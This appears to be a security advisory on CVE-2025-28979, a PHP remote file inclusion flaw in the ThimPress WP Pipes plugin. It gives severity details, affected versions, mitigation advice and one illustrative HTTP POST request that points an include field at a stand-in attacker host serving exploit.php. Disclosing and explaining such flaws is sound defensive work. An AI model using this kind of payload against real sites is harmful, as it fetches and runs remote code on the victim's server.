Overview
The discovery of the CVE-2025-28979 vulnerability is a significant development in the cybersecurity landscape, particularly for users and developers relying on ThimPress WP Pipes. This security flaw allows an attacker to exploit an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ vulnerability, also known as a PHP Remote File Inclusion vulnerability. This vulnerability has serious implications, potentially leading to system compromise or data leakage, thereby emphasizing the critical need for its immediate patching and remediation.
Vulnerability Summary
CVE ID: CVE-2025-28979
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
ThimPress WP Pipes | All versions until 1.4.3
How the Exploit Works
The PHP Remote File Inclusion vulnerability occurs when an attacker manipulates a PHP ‘include’ or ‘require’ statement to include a remote file from an external server. This file can contain malicious PHP code, which is then executed by the server-side PHP interpreter. In the case of CVE-2025-28979, this vulnerability is present in the ThimPress WP Pipes plugin, which improperly controls the filename for include/require statements.
Conceptual Example Code
A conceptual example of how this vulnerability might be exploited is by sending a specifically crafted HTTP POST request to the vulnerable endpoint with a malicious payload as follows:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://malicious.example.com/exploit.php" }In this example, ‘http://malicious.example.com/exploit.php’ is a remote PHP file that contains malicious code. When this request is processed by the server, the ‘include_file’ statement will include and execute the remote malicious PHP file, leading to potential system compromise or data leakage.
Mitigation Guidance
Users of ThimPress WP Pipes are advised to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the impact of this vulnerability. These systems can be configured to detect and block attempts to exploit this vulnerability, providing a temporary solution until the patch is applied.